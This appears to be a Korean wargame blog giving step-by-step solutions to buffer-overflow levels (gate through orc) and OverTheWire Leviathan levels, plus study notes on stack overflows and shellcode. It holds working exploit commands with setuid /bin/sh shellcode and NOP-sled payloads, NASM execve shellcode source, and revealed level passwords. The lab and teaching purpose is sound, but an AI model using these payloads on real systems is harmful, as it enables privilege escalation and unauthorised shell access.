Orc 문제를 풀어보면




환경 변수를 못쓰게 막아두었다 그리고 47번째 값이 무조건 \xbf 값이 들어가게 설정되었다

gdb로 ebp 시작 위치와 버퍼의 크기를 살펴보면


r $(python -c 'print "A"*47+"\xbf"')


값을 주고 디버거로 살펴 보면


버퍼의 크기가 딱 40바이트인걸 확인할 수 있다

40바이트 A + ebp(4바이트) + eip(A 3바이트 + \xbf 1바이트) 로 이루어져 있다


eip 시작 위치 바로 다음에 쉘코드를 삽입하고 그 위치를 eip에 대입해주면 된다


 r $(python -c 'print "A"*47+"\xa0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')


이제 실제 파일에 보정작업 하면서 대입하면 쉘이 획득 된다








'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08
[BOF] gate-> gremlin  (0) 2018.02.08

Goblin.c 파일을 확인해 보면 gets() 함수를 볼수 있다 gets함수는 앞에서 확인한거 처럼 취약점 존재한다



ret 뒤에 주소에 shellcode를 대입해서 풀어보면 쉽게 풀수있다

인터넷 검색하다 찾은 꿀팁 gets 함수 일때는 gdb에서 입력하기가 까다롭다

(python -c 'print "A"*16+"BBBB"') > shellcode

이런식으로 입력하고  gdb에서는

run < shellcode 입력하면 정상적으로 값이 입력되는걸 확인할 수 있다



shellcode를 올리면 처음 시작하는 위치로 ret을 설정해주고 get함수니까 

(python -c 'print "A"*16+"BBBB"+"\x80\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"';cat) | ./goblin


입력해주면 권한을 받을수 있다




'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08
[BOF] gate-> gremlin  (0) 2018.02.08

gremlin  문제를 풀어보면



small buffer 문제이다

버퍼의 크기가 16바이트 밖에 없다.. 내가 가지고있는 쉘코드의 크기가 더 커서 ebp위로 버퍼에는 쉘코드를 삽입하지 못한다

그래서 쉘코드를 삽입할 수 있는 장소를 찾아야한다


1.ret 뒤에 쉘코드 삽입


네모 박스 쳐진곳이 eip 다

그 뒤에 shellcode를 삽입해서 eip가 shellcode를 가리키도록 설정해준다

./cobolt $(python -c 'print "A"*16+"B"*4+"\xc0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')



다음 방법은 많이 사용되는 환경변수에 저장하는 방법이다

export SH=$(python -c 'print "\90"*100 +"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')

SH 환경변수에 앞에서 설명한 NOP 값과 쉘코드를 대입한다

삽입된 환경 변수를 확인하고 그 주소를 ret주소에 대입시켜주는 방법이 있다.

환경변수를 확인하는 방법은 C코드로 환경변수를 출력하는 파일을 하나 생성해도 되고 GDB로 확인할 수 도있다

#include <stdio.h>

int main(int argc, char *argv[])

{

        printf("%p\n", getenv(argv[1]));

        return 0;

}



환경 변수를 출력해주는 C 코드


gdb에서 위치를 확인해보면

env 의 값은 argv[1] 에 존재하는걸 확인할 수 있다

argv[0]                 argv[1]


argv[1] 을 확인해 보면


 

먼저 입력한 A 값과 B 값을 확인할 수 있고 뒤로 가면

NOP를 사용하기 위해 넣어둔 90과 SHELLCODE 를 볼수 있다 적당한 주소를 대입해주면 NOP~ 을 통해서 쉘코드에 도착 할 수 있다





'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gate-> gremlin  (0) 2018.02.08

BOF 원정대 1번 GATE 문제이다.



아이디 비밀번호는 처음 주어진 gate/ gate로 접근하면 풀이가 가능하다

2가지 주의할 점이 있는데 시작전에 bash을 bash2로 바꿔주고 시작하는게 정신건강에 좋다. (버전 차이)

또 실행파일을 gdb에서 실행시킬 권한이 없으니 cp 파일 복사를 통해 복사본을 만들어 디버깅 한다 



bash2로 바꾸고 시작한다.  ff가 입력이 안되서 바꿔준다


많이 접해본 문제이다 버퍼의 크기는 256크기이고 함수의 인자가 2개 입력되면 argv[1]로 입력되고 strcpy 함수를 이용해서 buffer에 저장된다.

strcpy 함수의 취약점을 이용해서 버퍼오버플로우 공격을 시도한다. 

gdb로 버퍼의 시작위치와 ebp 변조될 값인 eip의 위치를 파악한다.



이부분에 브레이크를 걸고 확인해 보면 

시작 위치 부터 의도한 A값이 들어가 있는걸 확인할 수 있다.

그럼 시작 위치에 쉘코드를 삽입하고 A 더미를 ebp 위치까지 채운후 eip를 쉘코드 시작위치로 변조해주면 버퍼오버플로우 공격이 실행된다


쉘코드는 49바이트 

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" 를 사용한다.


총 256바이트 -49 바이트 = 207바이트  +(ebp 4바이트 ) =211바이트 (더미값)

여기까지 코드를 짜보면 

 $(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" + "A" * 211')


쉘코드를 삽입하고 eip 위치를 찾았으니 eip를 쉘코드 시작 위치로 변조하면 가능하다

$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" + "A" * 211 + "\x08\xf9\xff\xbf"')



값을 입력해주면 끝난다


nop Sled

이름하야 NOP 썰매기법이라는 공격인데 이름이 인상적이다. 공격 개요를 간단하게 묘사해보면 쉘을 실행시키는 쉘 코드를 앞에 NOP 명령어를 다량 붙여서 메모리에 저장시켜두고, 버퍼 오버플로우 공격을 이용해 스택프레임의 RET 값을 쉘 코드가 있는 곳의 메모리 주소로 덮어씌워 주면 프로그램이 NOP을 따라 실행되다가 최종적으로 쉘 코드를 실행하게 된다. 여기서 프로그램이 NOP을 타고 쉘 코드 까지 내려온다고 해서 NOP Sled (NOP 썰매) 기법이라고 이름이 붙여졌다.


./gremlin $(python -c 'print "\x90"*111+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"+"\x90"*100+"\x58\xf9\xff\xbf"')



앞 뒤로 NOP을 넣어주고 적당한 값으로 RET을 해주면 보정작업이 따로 필요없이 미끄러지다가 쉘코드를 만나서 작동된다


'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08

 Leviathan5

접속해 보니 파일이 하나 있고 파일을 분석해보니까



'WARGAME > Leviathan' 카테고리의 다른 글

[Leviathan] Leviathan4  (0) 2018.02.01
[Leviathan] Leviathan3  (0) 2018.02.01
[Leviathan] Leviathan2  (0) 2018.02.01
[Leviathan] Leviathan1  (0) 2018.02.01
[Leviathan] Leviathan0  (0) 2018.02.01

Leviathan4




딱 접속했을때 실행파일은 없고 .trash 디렉토리만 있는데

실행 파일을 확인하니까 2진수 로 써있었다


디코딩해서 보니까 

Tith4cokei 정답~




'WARGAME > Leviathan' 카테고리의 다른 글

[Leviathan] Leviathan5  (0) 2018.02.01
[Leviathan] Leviathan3  (0) 2018.02.01
[Leviathan] Leviathan2  (0) 2018.02.01
[Leviathan] Leviathan1  (0) 2018.02.01
[Leviathan] Leviathan0  (0) 2018.02.01

Leviathan3


답을 바로 알려줘서 입력했더니 답이 출력되었다




'WARGAME > Leviathan' 카테고리의 다른 글

[Leviathan] Leviathan5  (0) 2018.02.01
[Leviathan] Leviathan4  (0) 2018.02.01
[Leviathan] Leviathan2  (0) 2018.02.01
[Leviathan] Leviathan1  (0) 2018.02.01
[Leviathan] Leviathan0  (0) 2018.02.01

Leviathan2

저번 문제에서 풀었던거 처럼 실행 파일이 하나있고 역시 실행권한은 setuid 권한이다.

파일이 실행되는 동안은 Leviathan3 번의 권한을 얻는다는 소리니까 파일을 실행시켜보면



파일을 실행시켜보니 accesss 권한으로 파일을 열수가 없다.


access 권한만 우회하면 파일을 열수 있을꺼 같은데

파일 두개를 실행시켜 보면


bbbb는 accesss 권한을 확인하지 않는걸 확인했다.

그래서 비밀번호 파일을 ln 를 통해 따로 생성해주고 "" 를 이용해서 한 파일로 실행시켜주면 답이 출력되는걸 확인할 수 있다.!


Ahdiemoo1j




'WARGAME > Leviathan' 카테고리의 다른 글

[Leviathan] Leviathan5  (0) 2018.02.01
[Leviathan] Leviathan4  (0) 2018.02.01
[Leviathan] Leviathan3  (0) 2018.02.01
[Leviathan] Leviathan1  (0) 2018.02.01
[Leviathan] Leviathan0  (0) 2018.02.01

Leviathan1번 

우선 접속해서 존재하는 파일을 보니 check 실행파일이 하나 존재했다.



실행해 보니까 비밀번호를 입력해서 맞추면 답이 나오는 방식 같다.

여기서 우리가 중요하게 보고 생각할건 이 파일의 실행 권한이다

setuid 는 실행파일에만 줄수있는 특수한 권한으로

실행을 시키게되면 특별하게 생성자(root) 의 권한을 실행하는 동안에만 얻을수 있는 권한이다.

즉 일시적으로 권한을 획득할 수 있는 파일이다. 


gdb로 디버거 해서 풀어도 되지만 라이브러리로 우선 추적해보면


답이 대놓고 나와있는거 같다


답을 입력하니 쉘코드 하나가 나왔다. 보니까 다음 답을 볼수 있는 권한을 가진 쉘코드 인거 같아서 답을 확인해보니 답이 출력되었다.




'WARGAME > Leviathan' 카테고리의 다른 글

[Leviathan] Leviathan5  (0) 2018.02.01
[Leviathan] Leviathan4  (0) 2018.02.01
[Leviathan] Leviathan3  (0) 2018.02.01
[Leviathan] Leviathan2  (0) 2018.02.01
[Leviathan] Leviathan0  (0) 2018.02.01

Leviathan0 


가지고 있는 파일이다.

답이 있는 곳에 가보니까 권한이 없다그런다..


그럼 저 파일을 이용해서 답을 찾아야 한다는 소리인데

디렉토리에 들어가니까 html 파일 하나가 있었다. 


안에 접속해보니까 다음 문제에 넘어갈수 있는 비밀번호가 나왔다

'WARGAME > Leviathan' 카테고리의 다른 글

[Leviathan] Leviathan5  (0) 2018.02.01
[Leviathan] Leviathan4  (0) 2018.02.01
[Leviathan] Leviathan3  (0) 2018.02.01
[Leviathan] Leviathan2  (0) 2018.02.01
[Leviathan] Leviathan1  (0) 2018.02.01

1. 취약점

     - 에러의 한 종류

     - 모든 취약점은 에러이다.

     - 모든 에러는 취약점이다. (X)


1). 메모리 변조:  버퍼(스택) 오버플로우


    - 1995년도에 처음 발표

    - smashing the stack for fun and profit

    - by Aleph One


    - 취약한 함수: scanf, gets, strcpy, ....


#include <stdio.h>

int main (int argc, char *argv[])

{


        char    buffer1[20]={0,};

        char    buffer2[20]={0,};


        if(argc > 1){

        strcpy(buffer2, argv[1]);  // vul!!!

        }


        printf("buffer1:%s\n",buffer1);

        printf("buffer2:%s\n",buffer2);


        return 0;

}


만약에 값이 20개가 넘는 글자가 들어갈 경우에 취약점이 발생한다 

buffer2[20] 이라서 남은 길이가 딴 공간에 침범한다

strcpy 문자를 복사 할때 길이를 전혀 체크하지 않는다

만약 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 비정상적인 입력값을 주어주면

Segmentation fault (core dumped) 오류가 발생해서 시스템이 멈춘다.

에러가 발생하면 취약점이 될 가능성이 있기 때문에 검사한다.


[root@korea vul]# ./target1 AAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer1:AAAAAAA

buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAA


[root@korea vul]# ./target1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer1:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)


디버거로 값을 확인해보면 

eip 값이 바뀐걸 확인할 수 있었다. GDB 디버거로 확인해보면 eip레지스터에 A의 아스키코드(41)값이 들어가있는걸 확인할수있습니다. 이것을 메모리 변조라고 한다. 

( 여기서 알 수 있는점은 입력 값의 길이를 체크하지 않는 함수를 사용했을때 해당 버퍼보다

큰 입력 값이 들어오게 된다면 다른 메모리 공간까지 덮어쓰게 된다는 점이다.

그리고 gdb에서 설정 해놓은 display 결과를 보면 알 수 있듯이 eip 레지스터의 주소 값 또한 덮어 써지게 된다는 것이다. )


이런 원리로 변조가 가능하다.


strcpy(buffer2, argv[1]);  // vul!!! 대신에

strncpy(buffer2, argv[1], 20); //를 사용하면 메모리 참조를 하지 않는다 .



gets


#include <stdio.h>


int main()

{

        char buffer1[20]={0,};

       char buffer2[20]={0.};


        gets( buffer2 );


        printf("buffer1:%s\n", buffer1);


        printf("buffer2:%s\n", buffer2);


        return 0;

}


[root@korea vul]# gdb -q target1

(gdb) set disassembly-flavor intel

(gdb) dis

disable      disassemble  display      

(gdb) display /i $eip

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /root/vul/target1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer1:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

1: x/i $eip  0x41414141: Cannot access memory at address 0x41414141

Disabling display 1 to avoid infinite recursion.

0x41414141 AAAA  eip 값이 변조가 가능하다는 소리이다

변조가 되더라도 에필로그가 실행되지 않으면 오류가 발생하지 않는다.

취약점이 발생하는 위치에 따라서도 내가 변조할 수 있는 부분이 달라진다



[실습]

#include <stdio.h>


int main(int argc, char *argv[])

{

        char CAT[] = "CAT";

        char buffer[20]={0,};


        printf("WHAT:%s\n", CAT);


        if(argc>1){ strcpy(buffer,argv[1]);}


        printf("WHAT:%s\n", CAT);


        return 0;


}

             


[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:CAT

WHAT:CAT

-소스코드를 수정하지 않고 다음과 같이 출력되도록 만들어라.


[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:CAT

WHAT:DOG


[root@korea vul]# ./cat  AAAAAAAAAAAAAAAAAAAADOG

WHAT:CAT

WHAT:DOG



[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:12345678

WHAT:12345678

-소스코드를 수정하지 않고 다음과 같이 출력되도록 만들어라.


[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:12345678

WHAT:87654321


위와 같이 출력해보려고 같은 방법을 썼으나 이상한 값이 나온다.

-> 확인해보니 숫자도 문자로 인식하여 아스키 값으로 출력되는 것을 알 수 있었다.

-> 인자는 숫자 형태로 입력할 수 없다.

-> 문자열 이스케이프를 사용해야 문자열 내에서 숫자 표현이 가능해진다.

숫자를 넣고 변조 하고 싶으면 

#include <stdio.h>

int main(int argc, char *argv[])
{


        int buffer1 = 0x12345678;
        char buffer2[20]= {0,};

        printf("WHAT:%x\n",buffer1);
        if(argc > 1){ strcpy(buffer2, argv[1]);}
        printf("WHAT:%x\n",buffer1);

        return 0;
}

$(python -c 'print ("\x41\x41\x41\x41")')

`python -c 'print ("\x41\x41\x41\x41")'`


./cat $(python -c 'print "A" * 20 + "\x21\x43\x65\x87"')

! 문자열 이스케이프 -> 가능

! bash shell -> ', ", `, |, >



! bad  charachter


1. 0x00 (null 은 죽어도 입력이 안된다) : 입력할 방법이 전혀 없음

./cat $(python -c 'print "A" * 20 + "\x00\x00\x00\x00"') ( X )

-null 뒤에 다른 문자열을 넣는건 불가능하다, 마지막에 한 바이트 가능

-문자열의 끝을 널로 인식하는 경우에는 절대 불가능하다.


2. 0xff :bash 버그

-쉘 교체: bash2로


3. 0x20, 0x0a, 0x09: 화이트 스페이스


bash: ', "


./cat "$(python -c 'print "A" * 20 + "\x20\x20\x20\x20"')"

공백(0x20)과 tab(0x09) 정도는 바꿔서 사용이 가능하다.



! 쉘코드(Shellcode)


-타켓 프로세스에 메모리에 실행하고자 하는 명령들을 올려놓고 실행 


1. 기게어로 작성되어 있어야 한다.

2. 데이터 세그먼트는 사용할 수 없다.


권한을 얻고싶으면 쉘코드를 얻는게 가장 쉽다

system("/bin/sh"); -> 기계어 (bin)

--> execve --> 번호로 구분 


 - ELF파일 전체가 메모리에 있어야만 명령어를 실행할 수 있다.

- 여기선 기계어 코드만 메모리에 존재하기 때문에 실행될 수 없다.

해결책 - 세그먼트 없이 실행 가능하도록 스택형식으로 만들어야함.


라이브러리 함수의 주소가 다른 프로세스에서의 라이브러리 주소가 동일할 확률은 0에 가까움

해결책 - 시스템 콜 사용    


2) 어셈블리어로 작성

 - 직접 메모리를 제어가능

  - 기계어만 가지고 실행이 가능한 환경을 구성

  - 세그먼트 없이 프로그램을 작성

system 라이브러리 -> execve 시스템콜로 대체

세그먼트 -> 스택메모리로 대체

segment .text

global  _start


_start:


        mov     ebp,    esp

        sub     esp,    8


        push    0       ;ebp-12

        push    '//sh'  ;ebp-16

        push    '/bin'  ;ebp-20



        lea     eax,    [ebp-20]

        mov     dword [ebp-8], eax

        mov     dword [ebp-4],  0

        add     esp,    12


        mov     eax,    11

        mov     ebx,    [ebp-8]

        lea     ecx,    [ebp-8]

        mov     edx,    0

        int     80h

        add     esp,    8


        leave

        ret



3). 권한

- 권한 상승기법

- got root???

-SETUID: effective User ID

-해당 프로그램이 실행되는 동안만 소유자의 권한을 행사

-SETGID: dffective Group ID


setuid (  왜 굳이 취약점이 존재하는 프로그램 내에서 명령어를 실행하도록 할까?에 대한 대답 )

  - 권한이 없는 사용자라 할지라도 setuid가 있으면 해당 프로그램의 소유자의 권한을 행사할 수 있다.

  ! 타겟 프로그램에 취약점이 존재하고

  ! 타겟 프로그램에 setuid 권한이 존재한다면

  !! 권한 상승 가능


root: login -> id, pw -> 비교: /etc/shadow 

leviathan1@leviathan:~$ ls -l /etc/shadow

-rw-r----- 1 root shadow 1420 Nov 13 16:03 /etc/shadow


/etc/leviathan_pass

leviathan0:leviathan0


leviathan1:rioGegei8m

leviathan1@leviathan:~$ ls -l check

-r-sr-x--- 1 leviathan2 leviathan1 7608 Nov 13 16:03 check

-sr

-SETUID: effective User ID

check 라는 프로그램을 실행하는 동안에는 소유자의 권한으로 실행이된다 

보안상 각별한 주의가 필요한 파일이 SETUID가 걸려있는 파일이다


타켓 프로그램: 취약점 + SETUID 

ltrace ./check 로 해당 파일에 비밀번호를 획득하고

./check 를 실행시켜서 

ougahZi8Ta



leviathan3:


-hint: ", link 

"/etc/leviathan_pass/leviathan3



password 파일을 gdb를 활요하여 어셈블리 언어로 변경했다. 아래 코드는 전체 파일에 대한 코드이다 


Dump of assembler code for function main:

0x8048430 <main>: push   %ebp

0x8048431 <main+1>: mov    %ebp,%esp

0x8048433 <main+3>: sub    %esp,0x40c

0x8048439 <main+9>: push   0x8048580

0x804843e <main+14>: call   0x8048370 <printf>

0x8048443 <main+19>: add    %esp,4

0x8048446 <main+22>: lea    %eax,[%ebp-1024]

0x804844c <main+28>: push   %eax

0x804844d <main+29>: call   0x8048330 <gets>

0x8048452 <main+34>: add    %esp,4

0x8048455 <main+37>: lea    %eax,[%ebp-1024]

0x804845b <main+43>: push   %eax

0x804845c <main+44>: call   0x8048350 <strlen>

0x8048461 <main+49>: add    %esp,4

0x8048464 <main+52>: mov    DWORD PTR [%ebp-1036],%eax


0x804846a <main+58>: cmp    DWORD PTR [%ebp-1036],0

0x8048471 <main+65>: jle    0x8048497 <main+103>

0x8048473 <main+67>: mov    %eax,DWORD PTR [%ebp-1036]

0x8048479 <main+73>: dec    %eax

0x804847a <main+74>: lea    %edx,[%ebp-1024]

0x8048480 <main+80>: cmp    BYTE PTR [%eax+%edx],0xa

0x8048484 <main+84>: jne    0x8048497 <main+103>

0x8048486 <main+86>: mov    %eax,DWORD PTR [%ebp-1036]

0x804848c <main+92>: dec    %eax

0x804848d <main+93>: lea    %edx,[%ebp-1024]

0x8048493 <main+99>: mov    BYTE PTR [%eax+%edx],0x0

0x8048497 <main+103>: lea    %ecx,[%ebp-1024]

0x804849d <main+109>: mov    DWORD PTR [%ebp-1028],%ecx

0x80484a3 <main+115>: mov    DWORD PTR [%ebp-1032],0x80495d8


0x80484ad <main+125>: lea    %esi,[%esi]

0x80484b0 <main+128>: mov    %eax,DWORD PTR [%ebp-1028]

0x80484b6 <main+134>: cmp    BYTE PTR [%eax],0x0

0x80484b9 <main+137>: je     0x80484e0 <main+176>

0x80484bb <main+139>: mov    %eax,DWORD PTR [%ebp-1032]

0x80484c1 <main+145>: cmp    BYTE PTR [%eax],0x0

0x80484c4 <main+148>: je     0x80484e0 <main+176>

0x80484c6 <main+150>: mov    %eax,DWORD PTR [%ebp-1028]

0x80484cc <main+156>: mov    %edx,DWORD PTR [%ebp-1032]

0x80484d2 <main+162>: mov    %al,BYTE PTR [%eax]

0x80484d4 <main+164>: cmp    %al,BYTE PTR [%edx]

0x80484d6 <main+166>: je     0x80484e2 <main+178>

0x80484d8 <main+168>: jmp    0x80484e0 <main+176>

0x80484da <main+170>: lea    %esi,[%esi]

0x80484e0 <main+176>: jmp    0x80484f0 <main+192>

0x80484e2 <main+178>: inc    DWORD PTR [%ebp-1028]

0x80484e8 <main+184>: inc    DWORD PTR [%ebp-1032]

0x80484ee <main+190>: jmp    0x80484b0 <main+128>

0x80484f0 <main+192>: mov    %eax,DWORD PTR [%ebp-1028]

0x80484f6 <main+198>: cmp    BYTE PTR [%eax],0x0

0x80484f9 <main+201>: jne    0x8048515 <main+229>

0x80484fb <main+203>: mov    %eax,DWORD PTR [%ebp-1032]

0x8048501 <main+209>: cmp    BYTE PTR [%eax],0x0

0x8048504 <main+212>: jne    0x8048515 <main+229>

0x8048506 <main+214>: push   0x8048591

0x804850b <main+219>: call   0x8048370 <printf>

0x8048510 <main+224>: add    %esp,4

0x8048513 <main+227>: jmp    0x8048522 <main+242>

0x8048515 <main+229>: push   0x80485af

0x804851a <main+234>: call   0x8048370 <printf>

0x804851f <main+239>: add    %esp,4

0x8048522 <main+242>: xor    %eax,%eax

0x8048524 <main+244>: jmp    0x8048526 <main+246>

0x8048526 <main+246>: leave  

0x8048527 <main+247>: ret    

0x8048528 <main+248>: nop    

0x8048529 <main+249>: nop    

0x804852a <main+250>: nop    

0x804852b <main+251>: nop    

0x804852c <main+252>: nop    

0x804852d <main+253>: nop    

0x804852e <main+254>: nop    

0x804852f <main+255>: nop    



입력받은 코드를 분석해보면 


0x8048430 <main>: push   %ebp

0x8048431 <main+1>: mov    %ebp,%esp   

프롤로그를 표현한다.



0x8048433 <main+3>:         sub    %esp,0x40c

0x8048439 <main+9>:         push   0x8048580

0x804843e <main+14>: call   0x8048370 <printf>

0x8048443 <main+19>: add    %esp,4


sub로 저장할 위치를 확보하고 push후 printf 하는걸 보니 전역 변수 1036 바이트를 확보한후 printf 하는걸 확인할 수 있다.

0x8048580 값을 확인해 보면




 "input password: " 패스워드를 입력받는 문자열이 출력된다


지금까지 확인된 정보는 전역 변수 .지역 변수가 몇개 인지는 모르지만 총 1036 바이트의 저장공간을 확보했고 


int main(){

printf("Input password");

}

프린트 문장이 하나 출력되는걸 알 수 있다. 

0x8048446 <main+22>: lea    %eax,[%ebp-1024]

0x804844c <main+28>: push   %eax

0x804844d <main+29>: call   0x8048330 <gets>

0x8048452 <main+34>: add    %esp,4


lea로 주소를 불러오고 push 후 call로 gets 함수를 부르는걸 확인해보니 아마 1024 바이트를 사용하는 지역변수를 입력받는 부분같다

입력받은 값들이 1024 부터 저장되는걸 보니까 배열로 입력받는거 같다 


0x8048455 <main+37>: lea    %eax,[%ebp-1024]

0x804845b <main+43>: push   %eax

0x804845c <main+44>: call   0x8048350 <strlen>

0x8048461 <main+49>: add    %esp,4

0x8048464 <main+52>: mov    DWORD PTR [%ebp-1036],%eax

ebp-1024의 위치 주소를 가지고오고 strlen 을 하는거 보니 입력받은 배열의 길이를 ebp-1036에 저장한다

지금까지 C언어로 확인하면 크기가 1024인 배열이 하나 있는거 같고 그 배열의 길이를 저장하는 int형 변수가 있다. 


int main(){

?[bufffer] =1024;  //[ebp-1024]

?...                   //[ebp 1024~1036]

int length= //[ebp-1036]

int length=strlen(buffer);

printf("Input password");

}



0x804846a <main+58>: cmp    DWORD PTR [%ebp-1036],0

0x8048471 <main+65>: jle    0x8048497 <main+103>


0x8048473 <main+67>: mov    %eax,DWORD PTR [%ebp-1036]

0x8048479 <main+73>: dec    %eax

0x804847a <main+74>: lea    %edx,[%ebp-1024]

0x8048480 <main+80>: cmp    BYTE PTR [%eax+%edx],0xa

0x8048484 <main+84>: jne    0x8048497 <main+103>


0x8048486 <main+86>: mov    %eax,DWORD PTR [%ebp-1036]

0x804848c <main+92>: dec    %eax

0x804848d <main+93>: lea    %edx,[%ebp-1024]


0x8048493 <main+99>: mov    BYTE PTR [%eax+%edx],0x0


0x8048497 <main+103>: lea    %ecx,[%ebp-1024]

0x804849d <main+109>: mov    DWORD PTR [%ebp-1028],%ecx

0x80484a3 <main+115>: mov    DWORD PTR [%ebp-1032],0x80495d8


두개의 조건일때 같은 곳으로 지목하는걸 보니까 다중 조건문일 가능성이 크다/


조건 && 조건  인걸 확인 할 수 있다.

0x804846a <main+58>: cmp    DWORD PTR [%ebp-1036],0

0x8048480 <main+80>: cmp    BYTE PTR [%eax+%edx],0xa


if (length > 0 && buffer[length] == '\n'){

length--;

buffer[length]=0;

}

뉴라인을 제거하는 코드 같다.


0x8048497 <main+103> 라인을 보면 

[ebp-1024] 의 값을 ebp-1028에 저장하고 0x80495d8 에 있는 값을 [%ebp-1032] 여기에 저장한다.

배열로 입력받은 값을 ebp-1028에 저장하고 

0x80495d8의 값을   ebp-1032에 저장한다.

여기서 얻은 내용으로 C언어를 작성하면 


pwd="th3p4ssw0rd"

int main(){

char [bufffer] =1024;  //[ebp-1024]

char *p                   //[ebp-1028]

char *q                  //[ebp -1032]

int length= //[ebp-1036]

printf("Input password");

gets(buffer);

int length=strlen(buffer);

if (length > 0 && buffer[length] == '\n'){

length--;

buffer[length]=0;

}

p=buffer;

q=pwd ;


}

0x80484ad <main+125>: lea    %esi,[%esi]

0x80484b0 <main+128>: mov    %eax,DWORD PTR [%ebp-1028]  // p의 값을 eax에 저장

0x80484b6 <main+134>: cmp    BYTE PTR [%eax],0x0   //  eax에 저장된 값이 0이면 0x80484e0 이동

0x80484b9 <main+137>: je     0x80484e0 <main+176>

0x80484bb <main+139>: mov    %eax,DWORD PTR [%ebp-1032] //q의 값을 eax 에 저장 

